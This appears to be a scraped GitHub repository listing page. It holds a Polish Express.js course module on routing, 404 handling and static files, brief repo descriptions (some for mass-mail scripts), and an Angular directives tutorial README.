frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks

mass (5 listings) (Back to Top)

Emassei/postman
description, mass, script 		No description available. 0 stars 0 watchers 0 forks
iamwillmassey/postman-collections-ui
collection, collections, description, mass, script 		No description available. 0 stars 0 watchers 0 forks
jormassa/postman-server
description, mass, script, server 		No description available. 0 stars 0 watchers 0 forks
alivardar/turbog-postman
mail, mass, send, tool 		It is a mass mail sending tool. 0 stars 0 watchers 0 forks
mifay/postman
account, mail, mass, script, send 		A small perl script to massively send mails through your gmail account 0 stars 0 watchers 0 forks

embedded (4 listings) (Back to Top)

ravi-nrk/SpringBoot-Derby
data, database, embedded, operation, operations, test 		created simple SpringBoot Application with CRUD operations and used embedded database which is Derby. Used Postman to test REST Api's 0 stars 0 watchers 1 forks
BlitZC4/SpringBootJacksonProjectBinding
background, browser, client, clients, embedded, file, files, print 		A SpringBoot Demo app using Jackson project in the background to print out the Json files that are embedded in the project on the clients screen when it sneds GET request through a browser or a REST client like postman. 0 stars 0 watchers 0 forks
kbhagi/start-spring
boot, derby, embedded, service, spring 		Restful web-service using Spring-boot, JPA, embedded Apache derby 0 stars 0 watchers 0 forks
raviteja548/xpath-postman
embedded, json, path, sequence, steps, version 		Involves a sequence of steps in conversion of set of set of xpath to json request and further this request will be embedded in postman 0 stars 0 watchers 0 forks

properties (4 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin 